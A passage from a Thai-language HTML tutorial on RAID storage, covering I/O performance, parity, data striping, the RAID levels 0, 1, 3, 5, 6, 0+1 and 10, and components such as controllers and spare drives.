ถ้ามีเครื่องแค่ &lt;/span&gt;1,000 &lt;span lang="th"&gt;เครื่อง ที่เข้าจัดการ &lt;/span&gt;database &lt;span lang="th"&gt;อันนั้น  ลองจินตนาการว่าอะไรจะเกิดขึ้น เพราะจากตัวอย่างนั้นแค่ &lt;/span&gt;1 database, 1 job (&lt;span lang="th"&gt;ที่ซ้ำซาก เหมือนกัน&lt;/span&gt;) &lt;span lang="th"&gt;เท่านั้น และยังไม่นับ &lt;/span&gt;overhead  &lt;span lang="th"&gt;ที่เกิดจากการ &lt;/span&gt;verify parity &lt;span lang="th"&gt;ของตัว &lt;/span&gt;RAID controller &lt;span lang="th"&gt;เองด้วย &lt;/span&gt;cache  &lt;span lang="th"&gt;จะมีความสำคัญตรงนี้ คือ ถ้าสามารถ &lt;/span&gt;hold &lt;span lang="th"&gt;ข้อมูลไว้ได้ ทำ &lt;/span&gt;block I/O &lt;span lang="th"&gt;ได้&lt;/span&gt;, queuing I/O &lt;span lang="th"&gt;ดีๆ ให้อ่านเขียนโดยมี &lt;/span&gt;HDD head movement &lt;span lang="th"&gt;น้อยที่สุด เปิดยาวทีเดียวเพื่ออ่าน&lt;/span&gt;/&lt;span lang="th"&gt;เขียนจาก &lt;/span&gt;track 1 -&amp;gt; last track &lt;span lang="th"&gt;แบบ &lt;/span&gt;one-way &lt;span lang="th"&gt;โดยไม่ต้องกระโดดไปๆ กลับๆ ประสิทธิภาพจะสูงอีกมาก &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;  &lt;span lang="th"&gt;จะเห็นได้ว่า &lt;/span&gt;data transfer rate &lt;span lang="th"&gt;แทบไม่มีบทบาทเลย &lt;/span&gt;SCSI/2  &lt;span lang="th"&gt;สามารถส่งผ่านข้อมูลได้ &lt;/span&gt;40 MB/sec &lt;span lang="th"&gt;แต่ฐานข้อมูลส่วนใหญ่ จะอ่านเขียน &lt;/span&gt;data &lt;span lang="th"&gt;ขนาด ไม่เกิน &lt;/span&gt;2k &lt;span lang="th"&gt;กันแทบทั้งนั้น &lt;/span&gt;(&lt;span lang="th"&gt;ข้อมูล &lt;/span&gt;1 record &lt;span lang="th"&gt;ไหน ขนาดที่ใหญ่ๆ จะไม่เกิน &lt;/span&gt;2 &lt;span lang="th"&gt;กิโลไบต์ ถ้าไม่ใช่ &lt;/span&gt;image) &lt;span lang="th"&gt;พันเครื่องอ่าน&lt;/span&gt;-&lt;span lang="th"&gt;เขียนพร้อมๆกัน &lt;/span&gt;data stream  &lt;span lang="th"&gt;ก็แค่ &lt;/span&gt;2-3 MB &lt;span lang="th"&gt;เท่านั้นการวัดประสิทธิภาพ &lt;/span&gt;I/O &lt;span lang="th"&gt;วัดว่ารองรับได้กี่ &lt;/span&gt;I/O per sec &lt;span lang="th"&gt;โดย &lt;/span&gt;RAID Controller &lt;span lang="th"&gt;ที่ดีนั้น ได้ถึง &lt;/span&gt;6,000 I/O per sec &lt;span lang="th"&gt;และปัจจุบัน &lt;/span&gt;RAID Controller &lt;span lang="th"&gt;รุ่นประสิทธิภาพสูง ทำได้ถึง &lt;/span&gt;10 KBPSec &lt;span lang="th"&gt;แต่มีราคาแพงมากกรณีที่ ค่า &lt;/span&gt;I/O &lt;span lang="th"&gt;ต่ำ ความเร็วในการทำงานของ &lt;/span&gt;RAID &lt;span lang="th"&gt;จะแปรผันตาม &lt;/span&gt;cache &lt;/p&gt;                       &lt;p class="style73"&gt; &lt;span lang="th"&gt;สำหรับ &lt;/span&gt;Parity &lt;span lang="th"&gt;ของข้อมูลนั้น ไม่ได้ถูกระบุสำหรับ &lt;/span&gt;RAID &lt;span lang="th"&gt;ทุกระดับ แต่จะมีเฉพาะบางระดับเท่านั้น &lt;/span&gt;Parity &lt;span lang="th"&gt;จะช่วยในเรื่องของการ &lt;/span&gt;"&lt;span lang="th"&gt;เผื่อเสีย&lt;/span&gt;" &lt;span lang="th"&gt;คือ ถ้าหากข้อมูลในดิสก์เสียหาย หรือเกิดทำลาย จะใช้ &lt;/span&gt;Parity  &lt;span lang="th"&gt;ช่วยให้กู้ข้อมูลกลับมาได้ &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;               &lt;span lang="th"&gt;การสร้าง &lt;/span&gt;parity &lt;span lang="th"&gt;อาศัยความสามารถของโปรเซสเซอร์ ซึ่งจะเป็น โปรเซสเซอร์บน &lt;/span&gt;RAID Controller &lt;span lang="th"&gt;หรือโปรเซสเซอร์บนเซิร์ฟเวอร์ก็ตาม             การทำงานของโปรเซสเซอร์ดังกล่าวจะได้ค่า ยิ่งถ้า &lt;/span&gt;parity &lt;span lang="th"&gt;นั้นเป็น &lt;/span&gt;CRC &lt;span lang="th"&gt;ยิ่งต้องการ &lt;/span&gt;CPU power &lt;span lang="th"&gt;มากขึ้น โดยการคำนวณกัน &lt;/span&gt;byte per byte             &lt;span lang="th"&gt;ไม่ได้เอามาทั้ง &lt;/span&gt;file &lt;span lang="th"&gt;แล้ว &lt;/span&gt;generate 4 bytes &lt;span lang="th"&gt;และกรณีที่เป็น &lt;/span&gt;RAID-5 &lt;span lang="th"&gt;ยังต้องคอยหมุนให้ &lt;/span&gt;parity bit &lt;span lang="th"&gt;กระจายไปอยู่ตาม &lt;/span&gt;HDD &lt;span lang="th"&gt;ลูกต่างๆ ในอะเรย์อีก&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;                &lt;span lang="th"&gt;ถ้าหากต้องการทราบว่า &lt;/span&gt;RAID-5 &lt;span lang="th"&gt;ใช้พลังงานงานจาก &lt;/span&gt;CPU &lt;span lang="th"&gt;มากขนาดไหน ลองหา &lt;/span&gt;HDD SCSI &lt;span lang="th"&gt;มาสามตัว ลง &lt;/span&gt;Windows NT &lt;span lang="th"&gt;แล้วทำ &lt;/span&gt;software RAID &lt;span lang="th"&gt;ดูสิครับ&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73" align="center"&gt;&lt;img src="http://www.ensthai.com/tip_trick/overall_raid/200606231009534r.jpg" height="450" width="600" /&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;ก่อนที่เราจะไปรู้จัก RAID แบบต่างๆ เรามารู้จักคำว่า Data Striping กันก่อนครับ&lt;/p&gt;                       &lt;p class="style73"&gt;Data Striping &lt;span lang="th"&gt;คือการแบ่งข้อมูลออกเป็นส่วนๆ แล้วนำแต่ละส่วนไปเก็บใน &lt;/span&gt;harddisk &lt;span lang="th"&gt;แต่ละตัว การทำ &lt;/span&gt;striping &lt;span lang="th"&gt;นี้จะช่วยให้การอ่าน หรือเขียนข้อมูลใน &lt;/span&gt;disk array &lt;span lang="th"&gt;มีประสิทธิภาพมากขึ้น เพราะแต่ละไฟล์จะถูกแบ่งเป็นส่วนๆ กระจายไปเก็บในส่วนที่ต่างกันของ &lt;/span&gt;harddisk &lt;span lang="th"&gt;หลายตัว โดย &lt;/span&gt;harddisk &lt;span lang="th"&gt;เหล่านั้นทำงานไปด้วยกันแบบขนาน (&lt;/span&gt;parallel) &lt;span lang="th"&gt;จึงทำให้การเข้าถึงข้อมูลนั้นเร็วกว่า &lt;/span&gt;harddisk &lt;span lang="th"&gt;แบบตัวเดียวอย่างแน่นอน&lt;/span&gt;และนี่คือ RAID แบบต่างๆ ที่มีความสามารถต่างกัน และถูกเอามาใช้ในงานที่แตกต่างกัน แล้วแต่ผู้ใช้ครับ  &lt;/p&gt;                       &lt;p class="style73"&gt;  &lt;strong&gt;RAID 0&lt;/strong&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;คือการเอา  harddisk มากกว่า 1  ตัวมาต่อร่วมกันในลักษณะ non-redundant ซึ่ง RAID 0  นี้มีจุดประสงค์  เพื่อที่จะเพิ่มความเร็วในการอ่าน/เขียนข้อมูล harddisk  โดยตรง  ไม่มีการเก็บข้อมูลสำรอง  ดังนั้นถ้าฮาร์ดดิสก์ตัวใดตัวหนึ่งเกิดเสียหาย   ก็จะส่งผลให้ข้อมูลทั้งหมดไม่สามารถใช้งานได้ทันที จากรูป   จะเห็นว่าข้อมูลจะถูกแบ่งไปเก็บที่ harddisk ทั้ง 3 ตัว (กรณีที่เราใช้   harddisk 3 ตัวมาต่อ RAID 0 กัน) และถ้าเพิ่มจำนวน harddisk ใน array   ให้มากขึ้น เวลาที่ใช้อ่านหรือเขียนข้อมูลก็จะลดลงไปตามสัดส่วน   ตามทฤษฎีแล้ว ถ้า disk array มี harddisk จำนวน N ตัว   ก็จะทำให้อ่านหรือแขียนข้อมูลได้เร็วขึ้นเป็น N เท่าตัว   แต่ด้วยเหตุผลและปัจจัยหลายประการ เช่น RAID controller,   ความคลาดเคลื่อนของความเร็ว harddisk   ทำให้ในความเป็นจริงอาจเร็วไม่ถึงตามทฤษฎี&lt;/p&gt;                       &lt;p align="center"&gt;&lt;img src="http://www.msit.mut.ac.th/newweb/images/image_upload/20060623095151AN.gif" /&gt;    &lt;img src="http://www.msit.mut.ac.th/newweb/images/image_upload/20060623095205py.gif" /&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;strong&gt;RAID 1&lt;br /&gt;                       &lt;br /&gt;                      &lt;/strong&gt;RAID 1 &lt;span lang="th"&gt;มีอีกชื่อหนึ่งว่า &lt;/span&gt;disk mirroring &lt;span lang="th"&gt;จะประกอบไปด้วย &lt;/span&gt;harddisk 2 &lt;span lang="th"&gt;ตัวที่เก็บข้อมูลเหมือนกันทุกประการ เสมือนการสำรองข้อมูล หาก &lt;/span&gt;harddisk &lt;span lang="th"&gt;ตัวใดตัวหนึ่งเกิดเสียหาย ระบบก็ยังสามารถดึงข้อมูลจาก &lt;/span&gt;harddisk &lt;span lang="th"&gt;อีกตัวหนึ่งมาใช้งานได้ตามปกติ สำหรับ &lt;/span&gt;RAID controller &lt;span lang="th"&gt;ที่ถูกออกแบบมาเป็นอย่างดีแล้ว การเขียนข้อมูลลง &lt;/span&gt;harddisk 2 &lt;span lang="th"&gt;ตัวในเวลาเดียวกัน จะใช้เวลาพอๆ กับการเขียนข้อมูลลง &lt;/span&gt;harddisk &lt;span lang="th"&gt;ตัวเดียว ในขณะที่เวลาในการอ่านก็จะน้อยลง เพราะ &lt;/span&gt;RAID controller &lt;span lang="th"&gt;จะเลือกอ่านข้อมูลจาก&lt;/span&gt; harddisk &lt;span lang="th"&gt;ตัวไหนก็ได้ โดยหากมีคำสั่งให้อ่านข้อมูล &lt;/span&gt;2 &lt;span lang="th"&gt;ชุดในเวลาเดียวกัน ตัว &lt;/span&gt;RAID controller &lt;span lang="th"&gt;ก็สามารถประมวลผลคำสั่งเพื่ออ่านข้อมูลจาก &lt;/span&gt;harddisk &lt;span lang="th"&gt;ตัวหนึ่ง และคำสั่งอีกชุดนึงจาก &lt;/span&gt;harddisk &lt;span lang="th"&gt;อีกตัวนึงก็ได้&lt;/span&gt;&lt;br /&gt;                        &lt;span lang="th"&gt;จุดเด่นของ &lt;/span&gt;RAID 1 &lt;span lang="th"&gt;คือความปลอดภัยของข้อมูล ไม่เน้นเรื่องประสิทธิภาพและความเร็วเหมือนอย่าง &lt;/span&gt;RAID 0 &lt;span lang="th"&gt;แม้ว่าประสิทธิภาพในการอ่านข้อมูลของ &lt;/span&gt;RAID 1 &lt;span lang="th"&gt;จะสูงขึ้นก็ตาม&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73" align="center"&gt; &lt;img src="http://www.msit.mut.ac.th/newweb/images/image_upload/20060623095637EJ.gif" /&gt;&lt;/p&gt;                       &lt;p class="style73" align="left"&gt;&lt;strong&gt;RAID 3&lt;/strong&gt;&lt;br /&gt;                       &lt;br /&gt;                        RAID 3 &lt;span lang="th"&gt;มีลักษณะที่คล้ายกับ &lt;/span&gt;RAID 2 &lt;span lang="th"&gt;แต่แทนที่จะตัดแบ่งข้อมูลในระดับ &lt;/span&gt;bit &lt;span lang="th"&gt;เหมือน &lt;/span&gt;RAID 2 &lt;span lang="th"&gt;ก็จะตัดเก็บข้อมูลในระดับ &lt;/span&gt;byte &lt;span lang="th"&gt;แทนและการตรวจสอบและแก้ไขข้อผิดพลาดของข้อมูล จะใช้ &lt;/span&gt;parity &lt;span lang="th"&gt;แทนที่จะเป็น &lt;/span&gt;ECC &lt;span lang="th"&gt;ทำให้&lt;/span&gt; RAID 3 &lt;span lang="th"&gt;มีความสามารถในการอ่านและเขียนข้อมูลได้อย่างรวดเร็ว เพราะมีการต่อ &lt;/span&gt;harddisk &lt;span lang="th"&gt;แต่ละตัวแบบ &lt;/span&gt;stripe &lt;span lang="th"&gt;และใช้ &lt;/span&gt;harddisk &lt;span lang="th"&gt;ที่เก็บ &lt;/span&gt;parity &lt;span lang="th"&gt;เพียงแค่ตัวเดียวเท่านั้น แต่ถ้านำ &lt;/span&gt;RAID 3 &lt;span lang="th"&gt;ไปใช้ในงานที่มีการส่งผ่านข้อมูลในจำนวนที่น้อยๆ ซึ่ง &lt;/span&gt;RAID 3 &lt;span lang="th"&gt;ต้องกระจายข้อมูลไปทั่วทั้ง &lt;/span&gt;harddisk &lt;span lang="th"&gt;จะทำให้เกิดปัญหาที่เรียกว่า คอขวด ขึ้นกับ&lt;/span&gt; harddisk &lt;span lang="th"&gt;ที่เก็บ &lt;/span&gt;parity &lt;span lang="th"&gt;เพราะไม่ว่าข้อมูลจะมีขนาดใหญ่ขนาดไหน &lt;/span&gt;RAID 3 &lt;span lang="th"&gt;ต้องเสียเวลาไปสร้างส่วน &lt;/span&gt;parity &lt;span lang="th"&gt;ทั้งสิ้น ยิ่งข้อมูลมีขนาดเล็กๆ แต่ &lt;/span&gt;parity &lt;span lang="th"&gt;ต้องสร้างขึ้นตลอด ทำให้ข้อมูลถูกจัดเก็บเสร็จก่อนการสร้าง &lt;/span&gt;parity &lt;span lang="th"&gt;ทั้งระบบต้องมารอให้สร้าง &lt;/span&gt;parity &lt;span lang="th"&gt;เสร็จก่อน จึงจะทำงานต่อไปได้นั่นเอง&lt;/span&gt; RAID 3 &lt;span lang="th"&gt;เหมาะสำหรับใช้ในงานที่มีการส่งข้อมูลจำนวนมากๆ เช่นงานตัดต่อ &lt;/span&gt;Video &lt;span lang="th"&gt;เป็นต้น&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73" align="center"&gt;  &lt;span lang="th"&gt;&lt;img src="http://www.msit.mut.ac.th/newweb/images/image_upload/20060623095314Pg.gif" /&gt;&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73" align="left"&gt;&lt;strong&gt;RAID 5&lt;/strong&gt;&lt;br /&gt;                       &lt;br /&gt;                        &lt;span lang="th"&gt;มีการตัดแบ่งข้อมูลในระดับ &lt;/span&gt;block &lt;span lang="th"&gt;เช่นเดียวกับ &lt;/span&gt;RAID 4 &lt;span lang="th"&gt;แต่จะไม่ทำการแยก &lt;/span&gt;harddisk &lt;span lang="th"&gt;ตัวใดตัวหนึ่งเพื่อเก็บ &lt;/span&gt;parity &lt;span lang="th"&gt;ในการเก็บ &lt;/span&gt;parity &lt;span lang="th"&gt;ของ &lt;/span&gt;RAID 5 &lt;span lang="th"&gt;นั้น จะกระจาย &lt;/span&gt;parity &lt;span lang="th"&gt;ไปยัง &lt;/span&gt;harddisk &lt;span lang="th"&gt;ทุกตัว โดยปะปนไปกับข้อมูลปกติ จึงช่วยลดปัญหาคอขวด ซึ่งเป็นปัญหาที่สำคัญใน &lt;/span&gt;RAID 3 &lt;span lang="th"&gt;และ&lt;/span&gt; RAID 4 &lt;span lang="th"&gt;คุสมบัติอีกอันหนึ่งที่น่าสนใจของ &lt;/span&gt;RAID 5 &lt;span lang="th"&gt;คือ เทคโนโลยี &lt;/span&gt;Hot Swap &lt;span lang="th"&gt;คือเราสามารถทำการเปลี่ยน &lt;/span&gt;harddisk &lt;span lang="th"&gt;ในกรณีที่เกิดปัญหาได้ในขณะที่ระบบยังทำงานอยู่ เหมาะสำหรับงาน &lt;/span&gt;Server &lt;span lang="th"&gt;ต่างๆ ที่ต้องทำงานต่อเนื่อง&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73" align="center"&gt; &lt;img src="http://www.msit.mut.ac.th/newweb/images/image_upload/20060623095352YZ.gif" /&gt;&lt;/p&gt;                       &lt;p class="style73"&gt; &lt;strong&gt;RAID 6&lt;/strong&gt;&lt;br /&gt;                       &lt;br /&gt;                        RAID 6 &lt;span lang="th"&gt;อาศัยพื้นฐานการทำงานของ &lt;/span&gt;RAID 5 &lt;span lang="th"&gt;เกือบทุกประการ แต่มีการเพิ่ม &lt;/span&gt;parity block &lt;span lang="th"&gt;เข้าไปอีก &lt;/span&gt;1 &lt;span lang="th"&gt;ชุด เพื่อยอมให้เราทำการ&lt;/span&gt; Hot Swap &lt;span lang="th"&gt;ได้พร้อมกัน &lt;/span&gt;2 &lt;span lang="th"&gt;ตัว (&lt;/span&gt;RAID 5 &lt;span lang="th"&gt;ทำการ &lt;/span&gt;Hot Swap &lt;span lang="th"&gt;ได้ทีละ &lt;/span&gt;1 &lt;span lang="th"&gt;ตัวเท่านั้น หาก&lt;/span&gt; harddisk &lt;span lang="th"&gt;มีปัญหาพร้อมกัน &lt;/span&gt;2 &lt;span lang="th"&gt;ตัว จะทำให้เสียทั้งระบบ) เรียกว่าเป็นการเพิ่ม &lt;/span&gt;Fault Tolerance &lt;span lang="th"&gt;ให้กับระบบ โดย &lt;/span&gt;RAID 6 &lt;span lang="th"&gt;เหมาะกับงานที่ต้องการความปลอดภัยและเสถียรภาพของข้อมูลที่สูงมากๆ&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73" align="center"&gt;  &lt;span lang="th"&gt;&lt;img src="http://www.msit.mut.ac.th/newweb/images/image_upload/20060623095454hO.gif" /&gt;&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;strong&gt;RAID 0+1&lt;/strong&gt;&lt;br /&gt;                        &lt;span lang="th"&gt;&lt;br /&gt;                        เป็นการผสมผสานระหว่าง &lt;/span&gt;RAID 1 &lt;span lang="th"&gt;และ &lt;/span&gt;RAID 0 &lt;span lang="th"&gt;เข้าด้วยกัน โดยใช้ Harddisk 4 ตัวขึ้นไปครับ และมีการทำ mirror &lt;span lang="th"&gt;ข้อมูล (&lt;/span&gt;backup &lt;span lang="th"&gt;ข้อมูล) ไปด้วย ข้อเสียของ &lt;/span&gt;0+1 &lt;span lang="th"&gt;คือการเพิ่มจำนวน &lt;/span&gt;harddisk &lt;span lang="th"&gt;ในอนาคตเป็นไปได้ยาก เพราะ &lt;/span&gt;harddisk &lt;span lang="th"&gt;แต่ละตัวมี &lt;/span&gt;mirror &lt;span lang="th"&gt;เป็นของตัวเอง ยิ่งเพิ่ม &lt;/span&gt;harddisk &lt;span lang="th"&gt;เพื่อใช้งานก็ต้องเพิ่ม &lt;/span&gt;harddisk &lt;span lang="th"&gt;เพื่อ &lt;/span&gt;backup &lt;span lang="th"&gt;ไปด้วย &lt;/span&gt;ตามรูปครับ&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73" align="center"&gt;  &lt;span lang="th"&gt;&lt;img src="http://www.msit.mut.ac.th/newweb/images/image_upload/20060623100538E9.gif" /&gt;&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;strong&gt;RAID 10 (1+0)&lt;/strong&gt;&lt;br /&gt;                       &lt;br /&gt;                        RAID 10 &lt;span lang="th"&gt;หรือ &lt;/span&gt;RAID 1+0 &lt;span lang="th"&gt;เป็นการผสมผสานระหว่าง &lt;/span&gt;RAID 1 &lt;span lang="th"&gt;และ &lt;/span&gt;RAID 0 &lt;span lang="th"&gt;เข้าด้วยกัน การทำงานจะสกับกันทีละตัว พร้อมทั้งทำ Mirror ทำให้การเข้าถึงข้อมูลเป็นไปได้อย่างรวดเร็ว  เหมาะสำหรับ &lt;/span&gt;Server &lt;span lang="th"&gt;ที่ต้องการความเร็วในการเข้าถึงข้อมูลค่อนข้างมาก และมีประสิทธิภาพสูงครับ&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73" align="center"&gt;  &lt;span lang="th"&gt;&lt;img src="http://www.msit.mut.ac.th/newweb/images/image_upload/20060623095526TE.gif" /&gt;&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style75" align="center"&gt; &lt;br /&gt;                        &lt;span class="style76" lang="th"&gt;ส่วนประกอบของ RAID &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;&lt;strong&gt; RAID Controller&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;ตัว ควบคุมระบบ RAID นั้นใช้ได้ทั้งซอฟต์แวร์และฮาร์ดแวร์ หรือใช้รวมกันก็ได้  ซอฟต์แวร์เช่น Windows NT 4.0 สนับสนุน RAID ระดับ 0 ,1 (Striping ,  Mirroring) และฮาร์ดแวร์จากผู้ผลิตรายต่างๆ ซึ่งมีอยู่มากหลากหลาย เช่น   Asustek , Adaptec , DCT ,MTI  ซึ่งฮาร์ดแวร์เหล่านั้นมีราคาอยู่ในระหว่างสองหมื่นถึงเป็นล้านบาท &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;กรณี ใช้ซอฟต์แวร์เป็น RAID Controller จะมีข้อจำกัดคือ ระดับที่สนับสนุน คือ   0, 1 (Striping , Mirroring) นั้นยังไม่ครอบคลุมระดับ Data Protection  ในเรื่องของพาริตี้ ซึ่งมีใน RAID ระดับ 3,5 และใช้กำลังจากโปรเซสเซอร์   ทำให้โปรเซสเซอร์มีเวลาจะไปประมวลผลงานอื่นๆ น้อยลง การใช้ซอฟต์แวร์ควบคุม  มีข้อดีคือ ราคาถูกกว่า ไม่ต้องการอุปกรณ์เพิ่มเติมมากนัก &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;ส่วน ฮาร์ดแวร์ โดยมากจะได้รับการออกแบบที่ดี   แต่ฮาร์ดแวร์ก็มีข้อแตกต่างระหว่างยี่ห้อต่างๆ  คือ  ประสิทธิภาพในการทำงานแตกต่างกันออกไป  การติดตั้งยากกว่าซอฟต์แวร์ควบคุม  และราคาการลงทุนค่อนข้างสูงกว่า  เพราะต้องการอุปกรณ์เพิ่มเติม  ไม่ว่าจะเป็นฮาร์ดดิสก์ เคสสำหรับฮาร์ดดิสก์  โดยเฉพาะระบบ "Hot Swap"   แต่ผลของการลงทุนก็คุ้มค่า (เกี่ยวกับ Hardware RAID Controller   ดูข้อมูลเพิ่มเติมได้จาก รู้จักกับ Raid Controller)&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;&lt;strong&gt;&lt;img src="http://www.ensthai.com/pic/index/icon/bullet_red.gif" height="10" width="10" /&gt; ฮาร์ดดิสก์ที่นำมาต่อเป็น Array (Physical Drive)&lt;br /&gt;                      &lt;/strong&gt;&lt;/span&gt;&lt;span lang="th"&gt;คือฮาร์ดดิสก์ที่นำมาต่อเข้าเพื่อใช้กับระบบที่จะใช้ RAID  จำนวนของฮาร์ดดิสก์นั้น ขึ้นอยู่กับระดับของ RAID ที่เลือกใช้งาน  &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt; &lt;/span&gt;&lt;span lang="th"&gt;&lt;strong&gt;&lt;img src="http://www.ensthai.com/pic/index/icon/bullet_red.gif" height="10" width="10" /&gt; ดรฟ์อะไหล่ (Spare Drive)&lt;br /&gt;                      &lt;/strong&gt;&lt;/span&gt;&lt;span lang="th"&gt;เป็น ฮาร์ดดิสก์ที่นำมาติดตั้งไว้เป็น "อะไหล่" เผื่อว่าฮาร์ดดิสก์ตัวอื่นๆ  ที่ใช้ในระบบ RAID เกิดชำรุดเสียหาย   โดยปกติเมื่อไดรฟ์ตัวใดตัวหนึ่งในระบบเกิดเสียหาย ไดรฟ์ที่เป็น "อะไหล่"   จะถูกสลับเข้าไปใช้งานแทนที่โดยอัตโนมัติทันที&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;&lt;strong&gt;&lt;img src="http://www.ensthai.com/pic/index/icon/bullet_red.gif" height="10" width="10" /&gt; ไดรฟ์ชำรุด (Failed Drive)&lt;br /&gt;                      &lt;/strong&gt;&lt;/span&gt;&lt;span lang="th"&gt;ฮาร์ดดิสก์ ที่ชำรุดเสียหาย เช่นมี Bad Sector หรือตัวระบบกลไกการทำงานเสียหาย    หรือไม่ตอบสนองต่อการทำงานของ Host SCSI ไดรฟ์พวกนี้ถือเป็น "ไดรฟ์ชำรุด"  จะต้องเอาออกและเปลี่ยนไดรฟ์ดีเข้าไปใหม่&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;&lt;strong&gt;&lt;img src="http://www.ensthai.com/pic/index/icon/bullet_red.gif" height="10" width="10" /&gt; ไดรฟ์ตรรกะ (Logical Drive)&lt;br /&gt;                      &lt;/strong&gt;&lt;/span&gt;&lt;span lang="th"&gt;เหมือน กับระบบดอสธรรมดา คือ ไม่ใช่ไดรฟ์จริง เป็นเพียงไดรฟ์สมมุติ แต่ใน RAID   ไดรฟ์ตรรกะนั้น เกิดจากการรวมเอาไดรฟ์อื่นๆ มารวมกัน ให้เกิดความจุสูงขึ้น&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;&lt;strong&gt;&lt;img src="http://www.ensthai.com/pic/index/icon/bullet_red.gif" height="10" width="10" /&gt; Logical Volume&lt;br /&gt;                      &lt;/strong&gt;ไม่อยากแปลเป็นไทย เอาเป็นแบบเดิม  คงความหมายดีกว่า เมื่อต้องการ "ก้อน"  ของฮาร์ดดิสก์ที่มีความจุมากขึ้น  ทำได้โดยการนำเอา "Logical Drive"  มารวมเข้าด้วยกันเป็น Logical Volume  นั้นเอง&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;&lt;strong&gt;&lt;img src="http://www.ensthai.com/pic/index/icon/bullet_red.gif" height="10" width="10" /&gt; การจัดการ RAID&lt;br /&gt;                      &lt;/strong&gt;&lt;/span&gt;&lt;span lang="th"&gt;เมื่อ กล่าวถึงการจัดการ RAID ก็เสมือนว่าเรากำลังคุยกันเกี่ยวกับเทคโนโลยี   "การจัดเก็บข้อมูล" หรือ Storage Technology ซึ่งมีสองส่วนด้วยกันคือ  การเลือกระดับของ RAID ที่เหมาะสมกับการใช้งาน   และการจัดการกับไดรฟ์ที่เสียหาย &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;&lt;strong&gt;การเลือกระดับ RAID ที่เหมาะสม&lt;br /&gt;                      &lt;/strong&gt;&lt;/span&gt;&lt;span lang="th"&gt;RAID  แต่ละระดับมีความเหมาะสมเกี่ยวกับการใช้งาน และความต้องการฮาร์ดแวร์   ซอฟต์แวร์ ฮาร์ดดิสก์แตกต่างกัน ดูอ้างอิงได้จากระดับของ RAID  ซึ่งกล่าวไว้คร่าวๆ เกี่ยวกับระดับของ RAID และการใช้งาน&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style77" align="center"&gt;&lt;span lang="th"&gt;&lt;strong&gt;การจัดการไดรฟ์เสีย&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;การ จัดการกับไดรฟ์เสีย ไม่ได้หมายถึงว่า ฮาร์ดดิสก์เสียแล้ว ถึงค่อยคิดว่า  จะจัดการอย่างไร แต่หมายถึง จะทำอย่างไรกับ "ระบบเผื่อเสีย" หาฮาร์ดดิสก์มา   Standby หรือเปิดไว้รอ เหมือนเตรียมยางรถยนต์อะไหล่ติดไว้ที่ท้ายรถ?   อะไหล่หรือ Spare นี่เป็นของ "เผื่อเสีย" แน่นอน คิดอยากมีระบบ  "เผื่อเสีย"  ก็ต้องลงทุนบ้าง สำหรับ RAID ก็เช่นเดียวกัน  ต้องลงทุนซื้อไดรฟ์มาไว้  เรียกว่าเป็น Spare Drive ซึ่งมีทั้ง Global  Spare Drive และ Local Spare  Drive เป็นสองกลุ่ม ความแตกต่างคือ Local  Spare Drive จะเป็นอะไหล่สำหรับ  Local Drive เพียงตัวเดียว  (แยกให้ออกนะครับ Local Drive ตัวเดียวหมายถึง 1  "ก้อน" หรือ 1 Volume  ซึ่งจะรวมได้หลายๆ Physical Drive เพราะ Local Drive   ในระบบเครือข่าย  แตกต่างจาก Local Drive ของพวกเครื่องพีซี) แต่ Global Spare Drive  นั้นเป็นอะไหล่สำรองสำหรับ Local Drive 2 ก้อนขึ้นไป&lt;br /&gt;                       &lt;br /&gt;                      &lt;/span&gt;&lt;span lang="th"&gt;การระบุว่า ไดรฟ์ไหนเสีย และการวิเคราะห์อาการเสีย เป็นเทคนิคการออกแบบ RAID  Controller ที่ผู้ผลิตรายต่างๆ ต่างก็แข่งขันกันพัฒนา   เพราะโดยคุณสมบัติการออกแบบฮาร์ดดิสก์แบบ SCSI แล้ว เป็นไปได้ยากที่ RAID  Controller จะตรวจสอบว่าไดรฟ์ไหนเสีย  แต่ระบบการตรวจสอบที่เกิดจากการพัฒนาร่วมกันของผู้ผลิต RAID   และผู้ผลิตฮาร์ดดิสก์ ที่มีชื่อเทคโนโลยีว่า SAF-TE ก็ทำให้การวิเคราะห์   และวินิจฉัยอาการเสียของฮาร์ดดิสก์เป็นไปได้ง่ายขึ้น&lt;br /&gt;                       &lt;br /&gt;                      &lt;/span&gt;&lt;span lang="th"&gt;การจัด การกับไดรฟ์เสีย ยังมีระบบสนับสนุนหรืออำนวยความสะดวก   ซึ่งทำงานสอดคล้องกับระบบ RAID Controller 